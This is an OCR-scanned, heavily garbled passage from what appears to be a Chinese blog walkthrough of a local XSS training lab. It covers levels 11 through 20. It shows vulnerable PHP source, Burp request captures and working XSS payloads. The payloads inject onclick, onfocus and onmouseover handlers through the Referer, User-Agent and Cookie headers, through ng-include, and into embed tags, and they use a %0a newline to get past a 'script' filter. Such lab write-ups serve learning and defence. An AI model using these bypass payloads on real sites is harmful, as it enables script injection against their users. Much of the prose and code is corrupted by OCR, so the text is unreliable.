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xss-levell11:

HEIEG:

éﬁhl align=center>XIHE Hlevelll</hl>
H<?php

ini_;et("disp;ay_e::o:s", 0);

$5tr = § GET["keyword"];

$str00 = § GET["t sort"]; /

$Strll=$_SERVER[ 'H':":‘P_RE.FE.RER' 1] 5

Sstr22=str replace(">","",5strll);

S5tr33=str_replace("<","",55tr22);

echo "<h? align=center>i{%H T E|FI" . htmlspecialchars (Sstr) . "fH<BIEHE . </h2>". '<center>
<form id=search>

<input name="t link"™ wvalue="'.'" type="hidden">

<input name="t history" walue="'.'" type="hidden">

<input name="t sort"™ wvalue="'.htmlspecialchars($5tr00)."'" type="hidden">
<input name="t ref" wvalue="'.$str33.'" type="hidden">

</form>

</center>';

2>

<center><img src=levelll.png></center>

AAE M E—R—, R T RAEFHBITWEANR. X—RMKMBEOLET $_SERVER[ 'HTTP_REFERER']

XA AT LLIREX http i 3R 3k freferer,  BriBrefererih & 48 2 Al T2 M BRI . JEIEHATLLEE, REETRES, AT
1 Fjavascriptty Bl ke g2t

T burpdld:

| ma || mwa | [Eesk | 5w | Comment

J Raw I Params I Headers I Hex ]

1 GET /xss/levelll.php?keyword=good%Z0job! HTTE/1l.1
2 Host: 127.0.0.1
3 User—-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE&4; rv:52.0) Gecko/20100101 Firefox/52.0
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https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/weixin_41487522/article/details/106732953
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4 Accept: text/html, application/xhtml+xml, application/xml;q=0.9,*/*;q=0.8

S Accept-Language: zh-CN,zh;q=0.8,en-Us;q=0.5,en;q=0.3

& Accept-Encoding: gzip, deflate

7 Referer: http://127.0.0.1/xss/levelll. php?keyword=st_sort=click%Z0here%2ltype=%IC2buttontZZ%Z0onclick=%22javascript:alert (123)
9 DNT: 1

% X-Forwarded-For: 1Z7.0.0.1

10 Connection: close

11 Upgrade-Insecure-Requests: 1

12 Cache-Control: max-age=0
12

Mrefererdr 7] L HIXANRER E T £ —3RHjurl
X B fErefererd#fi Apayload: click here"type="button" onclick="javascript:alert(123)

hitps://blog.csdn.net

xss-level12:

BEEIR:

é<?php

ini_set("display_errors", 0y -

$str = 5 GET["keyword"];

Sstr00 = $_GET["t_Sort"]4

$Strll=$_SERVER['HTTP_USER_AGENT'];

$str22=str_replace(">","",55trll);

$str33=str_replace ("<","",55tr22);

echo "<h? align=center>i%H TEZFI" htmlspecialchars (Sstr)."fA<HIEE . </h2>". "<center>
<form id=search>

<input name="t link" wvalue="'.'" type="hidden">

<input name="t history" wvalue="'.'" type="hidden">

<input name="t sort" walus="'.htmlspecialchars(3str00)."" type="hidden">
<input name="t ua" wvalue="'.$s5tr33.'" type="hidden">

</ form>

</center>';
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A UEHME—x—#, BT REFEESINEEAR . X—RKIPRB O T $_SERVER[ 'HTTP_USER_AGENT' ]
B ERAT T BB AN E— R FREM 7 vE, E Fburpll, f&user_agent

Coma || oma | BmiEk | @ |

Raw I Params I Headers I Hex ]

1 GET /xss/levelll.php?keyword=good%Z0jok! HTTP/1.1
Z Host: 1Z27.0.0.1
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USS L MYTLL . SULAL LG S U WAL WD L LU U BUMGT s L ¥e i U TSRS AULULLUL LA LSLuAr D U
Accept: text/html, application/xhtml+xzml, application/=zml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-U8;gq=0.5,en;qg=0.3

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/xss/levelll.php?keyword=good%Z0job!

DNT: 1

¥-Forwarded-For: 1Z7.0.0.1

Connection: close

Upgrade-Insecure—-Requests: 1

Cache-Control: max-age=0

fEuser-agent 1 A payload:

_ﬂ Params ] Headers IHe;x ]

W =1 @ 0o Wk

[
Wb o

14

GET /xss/levelll.php?keyword=good%20jokb! HTTE/1.1

Host: 1Z7.0.0.1

User—-Agent: click here"type="button"ocnclick="javascript:alert (123)
Accept: text/html, application/xhtmltxzml, application/=ml;q=0.9,*/*;g=0.8
Accept-Language: zh-CN,zh;g=0.8,en-Us;g=0.5,en;g=0.3
Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/xss/levelll. php?keyword=good%Z0job!

DNT: 1

¥-Forwarded-For: 1Z7.0.0.1

Connection: close

Upgrade-Insecure—-Requests: 1

Cache-Control: max—-age=0

xss-level13:

BEIR:

1 <hl align=center>AKIHK F]levell3</hl>

5 <?php

B setcookie ("user", "call me maybe?", time()+3600);
i ini_set{"diSplay_errorS", 0) -

3 $str = $ GET["keyword"]; .

3 |$stroo = $_GET["t_sort"];/

) | $strll=5 COOKIE["user"];



Sstr2Z=str replace(">","",55trll);

$s5tr33=str_replace("<","",55tr22);

echo "<h2 align=center>{%H K E|F" . htmlspecialchars ($str)."fHRHIZE R . </h2>". "'<cente
<form id=search>

<input name="t link" wvalue="'.'" type="hidden">

<input name="t history"” wvalue="'.'" type="hidden">

<input name="t sort"™ walue="'.htmlspecialchars(3str00}."" type="hidden">
<input name="t cook" wvalue="'.$str33.'" type="hidden">

</ form>

L A I = L T W By~ W B L B )

</centers';

5 E—kH#ML, X—RMRPEOET $_CoOKIE[ "user"] JRAZHFATLLFEH, B2 RIIE TRIES, #HjavascriptththisCREET .
1% FHburp 3l A :

_ﬂ Params ] Headers I Hex ]

Z

GET /xss/levell3.php?keyword=good%Z0job! HTTE/1.1

Host: 1Z7.0.0.1

Uger-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:52.0) Gecko/Z0100101 Firefox/52.0
Accept: text/html, application/xhtml+xml, application/x=ml;q=0.9,*/*;¢q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-Us;g=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/x=s/levelll. php?keyword=good%Z0job!

Cookie: user=calltme+mayvhbei3F

ONT: 1

X-Forwarded-For: 127.0.0.1

Connection: close

Upgrade-Insecure-Requests: 1

Cache-Control: max-age=0
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7] LE Hhttpi Rk cookiels B, X ERAIE payloadidi:
click here"type="button"onclick="javascript:alert(123)

g Params ] Headers I Hex ]

1 GET /xss/levell3d.php?keyword=good%Z0job! HTTR/1.1

Host: 127.0.0.1

User—-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv:52.0) Gecko/Z0100101 Firefox/5!
Accept: text/html, application/xzhtml4xml, application/x=ml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-U8;qg=0.5,en;qg=0.3

Accept-Encoding: gzip, deflate

Referer: http://127.0.0.1/xss/levelll. php?keyword=good%Z0joh!

Cookie: user=click here"type="button"cnclick="javascript:alert (123)
DNT: 1

¥-Forwarded-For: 127.0.0.1

Connection: close

Upgrade-Insecure-FRequests: 1

Cache-Control: max-age=0
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hitps:/fblog.csdn.netfweixin_41487522

xss-level14:

H X R B B S, (BRI B, BT AR MBI

Wik Zllevel14

PR n A= BBk, PhE mEattlevells

level15:
BEIR:

LI W+ L L e AL e L ¥ L i s Ry e
}

-</script>

<title>XKiBKF]levells</title>

< /head>

<hl align=center>XKIARH FE1sox, Bl THEEHEZEMW! </hl>
<p align=center><img src=levellS.png></p>

H<?php

ini_;et{"display_errors", 0y ;

§str = $ GET["src"l;

i s —

echo '<body>»<span class="ng-include:'.htmlspecialchars (5str)."'"></span></body>';

XSS-



iX—3% 5| H T angular.min.js javascriptfE 42, X H fing-include, XA F SRS HIThEe. JEIS AT LUFE Fsrc#ing-include 5| F,
fiTAT LA — S0k
AE—NX— XK T Hlevel15.php

WIREZFIE15K, BB MEELEIE!

ENTER IF YOU DARE...

WIREFIE15K, BB MEELEIE!

AUEEIHI T HAARK A E.
REAESEE —RIAE, KAMRIHERERT .

WIBEEIZE15K, BB EELZIE!
ENTER IF YOU DARE...

il level5
RBRIFIEXHER.

X B2 S T Hilevell . phpiE AT #RAEBA — MRS, W — MR



INT ~ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER-

@ Load URL [ http://127.0.0.1/xss/level15.php?src="level1.php?name=<a href=javascriptalert(123)=click here!</a>’

! $ split URL

' Execute

I [] Postdata [] Referrer 4 OxHEX 3B @ %URL 3 % BASE64 3B

Insert string to replace| | Insert replacing stn

RaTHR B, W UURIIT T s

Yl Zlevell

R Rclick here!
/
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hitps://blog.csdn.netiweixin_41487522

xss-level16:

BEIR:
LS é<?php
Le ini_set("display errors", 0);

L7 SSLr = strtolower (5 GET["keyword']):

L8 S$str2=str_replace("script","&nbsp:;",$str);
LS $str3=str_replace (" ","&nbsp;",S$str2);

0 S$strd=str_replace("/","&nbsp;", $str3);

11 $str5=str_replace (" ","&nbsp:;",S$strd);

- . -




:zl €cno “<CENnter>".3SLrb."</Center>"; I
i3

24 <center><img src=levelld.png></center>

!5 [EH<?php

26 echo "<h3 align=center>payload®]+<E :".strlen(Sstr5)."</hi>";
LT e

8 b</body>
4] < /html>
30

31

1%
striolower() ek 3% ¥ /NG, BT A BEAE I K/NE Seid
FIRHE “script’s "'s "EAE” B &nbsp” XA LRI, WA B AE W E g5t .
X FARKET IR, FRATRT LA A %0ak® Fscript.

ik Zllevel16

sc ript

‘Y ¢ > =S E=ma HIML~ | CSS B DOM F& Cookies P 1EETa CSS
| 5% | body < html HR v
'‘DOCTYPE himl> #HHEH hin
1tml> ’ s
# Cheadd REODE )

<¢hl align="center”> RLIIFF|level16 </hl>
{center? sc ript<{/center> ‘
# <{center> — -
<h3 align="center”>payloadfH&E: T </h3>
/hody>

RN A B HHAE <center> XAMREN, ALPdIE, XMrBKMIEHAREREEPASES BREMI,
XBERAIMIEIFRE, scriptl T H %0afE, RFMTERIESS, B AR .

Hitpayload:

<a%0ahref="javasc%0aript:alert(123)">click here!

RN ST BRATjS RS, B E

127.0.0.1/xss/level16.php?keyword = <a%0ahref="javasc%0aript:alert(123)">click here!

[ ] Post data [ ] Referrer 4 OxHEX ™ & %URL 3 @& BASEHA B Insert string to replace| | Insert repl:
BRI AT M,




_41487522

REWAUAR, TEHFERMNEHAET <a> i

<hl align="center” > ATIIEF|levelll </h1>

= <center> K
{a href="javasec ript:alert(123)">click here! </a>

</center>
= <center>

[ Fr hewnf=" i wlmt raTaes (1920

xss-levell7:

HE T H IR

# % < > )= mwa | WML~ | css @A DOM s Cookies P mETFRE
< | #HiE | embed < body < html T -

<!DOCTYPE html> HER
& <html>
#H <head>
= <body>»
<hl  align="center”> IrIIHER|levellT </h1>

iroot |

{embed src="xsf0l.swf?” =s5="123" heigth="100%" width="100%">
@ <hdl align="center”»
</body>
</html>

AT LLE H# F T embedt7%s, embebtns & SR AN Z, HoanddfE.
ARXHurlh IR T A S Harg01Marg02, BHRSHE— T4 E:

Yk ZEllevel17

WHO POSES
THE GREATER
NUCLEAR
THREAT?

© % < » )= mwe HTML~ |cSs m& DOM R Cookies
L | #®E | embed < body < html

{!DOCTYPE himl>
<html>
@ <head>
= <body>
<hl align="center”> #IIEFR|levellT </h1>
{embed src="zsf0l. swf?zs5=123" heigth="100%" width="100%">
# <h? align="center™>
</hody>
</html>

AUE
HREANKIRAN S RHNES, REHRET .



BATF ANmIK R E S B S ST S EEKNSHERMNG] S, Earg01%E T SEHMANZHK, BEEN, SHEET 5E.

@ Load URL |(http://127.0.0.1/xss/level17.php?arg01= kss&arg02=123
% split URL

b Execute

[] Postdata [ | Referrer 4 OxHEX »  #® %URL ™» &% BASE64 T Insert string

i EZllevel17

WHO POSES
THE GREATER
NUCLEAR
THREAT?

# Y ¢ > 'Y= =81 | HIML~ €SS B%& DOM P8 Cookies
<s | #BiE | embed < body < html

CIDOCTYPE html>
= <html>
*# <head
= <body>
<hl  align="center”>» AIRFER|levellT </h1>

{embed src="zsf0l.swf?” =xs5="123" heigth="100%" width="100%">
# <h2 align="center™>
</hody>
</html>

REERE, OIS EN—EYE, RANEAsE, FARMEHEE.

@ Load URL [ http://127.0.0.1/xss/level17.php?arg01= onclick&arg02=javascript:alert(123)|
% split URL

b Execute

[] Postdata [ | Referrer ¥ OxHEX ™» @& %URL ™ &% BASEG4 T Insert string tc

YRRl level17

WHO POSES
THE GREATER
NUCLEAR
THREAT?

# Y ¢ > )Z pEma HTML~ | €SS BIA DOM P  Cookies
s | T | embed < body < html

{!DOCTYPE html>

1 <html>



® <head>

= <bedy>
<hl  align="center”» AR levellT </hl>
<{embed s xsf0l. swf?” onclick="javascript:alert(123})” heigth="100%" width="100%">
<h2 align="center™>
</body> /
</html>

payload:http://127.0.0.1/xss/level17.php?arg01= onfocus&arg02=javascript:alert(123)

= IS R S S e i m—s L S T LS S

L [ http://127.0.0.1/xss/level17.php?arg01= onfocus&arg02=javascript:alert(123)

[] Postdata [] Referrer 4 OxHEX & %URL ™» &% BASEG4 P Insert string to replace| | Insert replacing st

xss-level18:

BEVRGRIA E—RFEAL.
#HRMH T embedinss

url &N T B2 4arg01. arg02
HEAERBESHNE, EERR

<! --STATUS OK--»
<html> E)
b <head»</head>
<body>
<hl align="center">XI0FEH|levell8</hl>
<embed src="xsfB2.suwf?xs5=123" heigth="108%" width="108%">
</body>
</html>»

—-——
A ANmIK RS B35S T SERKNS
BORMMES, Farg01KET SEHRMANTE, BEEN, SHRETHR.
@ Load URL | http://127.0.0.1/xss/level18.php?arg01= kss&arg02=123
% split URL

+ Execute )

[ ] Postdata [ | Referrer ‘ OxHEX ™» @™ %URL ™ &% BASEG4 ™ Insert string




ik Zllevel18

s O =55 o= O &t {) Btmias © s =
+ €3 HTML & Bl

<!DOCTYPE html>»
<! --S5TATUS OK-->»
<html>
<head»</head>
w <body>
<hl align="center">ZINFH|1evells</hls
<embed src="xsfB2.swf?" xs55="123" heigth="180%" width="188%">

</body> /
</html>

XPERE, RAOTATCAGS AN —AN B, FRENsES, HARMEHE.
payload: http://127.0.0.1/xss/levell8.php?argdl= onfoucs&arg@2=javascript:alert(123)

1 & BE— N REALE ClFEA%sstn KE5¥E BER=z FH1S
~ = & SQLBASICS- UNION BASED- ERROR/DOUBLE QUERY- TOOLS- WAF BYPASS- ENCODING- HTML- ENCRYPTION- OTHER- XSS- LFI-

JRL [ http://127.0.0.1/xss/level18.php?arg01= onfocus&arg02=javascript:alert(123)
JRL

te

Insert replacing string Replace All 3B >

[] Post data [ Referrer 4 OxHEX 3 & %URL & BASE64 Insert string to replace

FEARIAEE!

> =] gHs HIML- €SS B& DOM R Cookies
embed < body < html

embed src="zsf02. swf?” onfocus="javascriptialert(123)” heigth="100%" width="100%">




xss-level19:

© @ M@ 127.0.0.1/xss/level19.php?arg01=a&arg02=b & s+ ¥ ¥ IN @D

FIEE YE¥EH 4 Rational RoseUMLE... [ %MAMI [ CTFEsEE O 2ATE © Mibke

YK Zllevel19

IS
with sifr.s
Use movie of

18
. with Sifl’.jS

el

BENX —RBATAT A urlh B B R R get T ANS 4, I HPHESIsrc BT .

¥ OFEF PDEie OREds N s {()adess (D s 5 &=
Q &= HTML +

<IDOCTYPE html>
<1 --STATUS OK--»
<html> [FE
P <head: == < /head:>
¥ <body>
<h1 align="center">3il%F|level19</h1>

<embed src="xsfB3.swf?a=b" heigth="188%" width="100%">

</body>
</html>

EFRZTFITIF, X

ulBAH mRP, BEBMNZAT—EMHIphpte iS4,
AW thBEEANSH? HERANMRHRETE T T EEKAT L.

AR E] L FBflashvars ="name= 12&age=23"/

o] LAEISEswiitbhH BT (£ 22 src="test.swf?name=128age=23"

25 ftiAE —4Nversion

<« G o © GO W 127.0.0.1/xss/xsf03.swf?version=1 B e O

Vv

i &

B samerss @ $FELEiE IF UM J Rational RoseUMLEE.. [ &EERML [ CTrissslin ) ERTE © Ribks

Movie (436) 1s



ncompatible with sifr.js
(1). Use movie of 1.

Movie (436) 1s
incompatible with sifr.js
(1). Use movie of 1.

Wovie (456) w incompatible
vith sifr.js (1). Ude movie of 1.

BRERMBRABRET S, “undefined 2B 5% T “1”, Wak 2 HA1E X version
iR [Ellevel1 93232 & —

&« cC @ © @ M 127.0.0.1/xss/level19.php?arg01=version&arg( & *** 17 v IN @

B dlsrsits @ $FF L Lf ¥8M ¢ Rational RoseUMLER.. [ #EBMit 5 CTrFE&ln (EEETE © Mibks

YR Zllevel19

Movie (436) 1s
incompatible with sifr.js
(1). Use movie of 1.
Movie (436) is
incompatible with sifr.js
(1). Use movie of 1.

o —

HEERAERER, AT LIEE —MrEE AR iE =
payload: http://127.0.0.1/xss/levell9.php?argdl=version&arg02=<a href="javascript:alert(123)">click here</a>

YRiFEZlevel19

Movie (436) is
incompatible with sifr.js
(click here). Use movie of
click here.

Movie (436) is
incompatible with sifr.js
(click here). Use movie of
click here.

Movie (436) is incompatible
with aifr.ps (click bere). Use

VLI R A



movee 0f CLCK pere.

R AT DA S A 5 -

hitps://blog.csdn.netiweixin_41487522

xss-level20:
X—REANUE— R T AR 2B
W bR T AR SR BRI T v

F BN onmouseover=alert(1) 4

FEMATAE!

HHE HiE

o O== Desla DEtE NREE ((atsss QOus Jrs Deg f cEshs

Q12 HTML + S Vs B sk
<IDOCTYPE hitml> thov .cls - « ¥t
<!1--STATUS OK--» —

TR .
<html> (&2 } o1 e
¥ <head> (= < /head>
w <body> v s
<hl align="center">3I0FER|level2a</h1> EE
<embed src="xsf84.swf?a=b" heigth="180%" onmouseover="aler
</body> v SiEH
</html>
e
BRIk R

X 5 3% F T 18-20 level embediz %, F]F mebedir % i R 45 % - onmouseover, K#HENfil R #EH .
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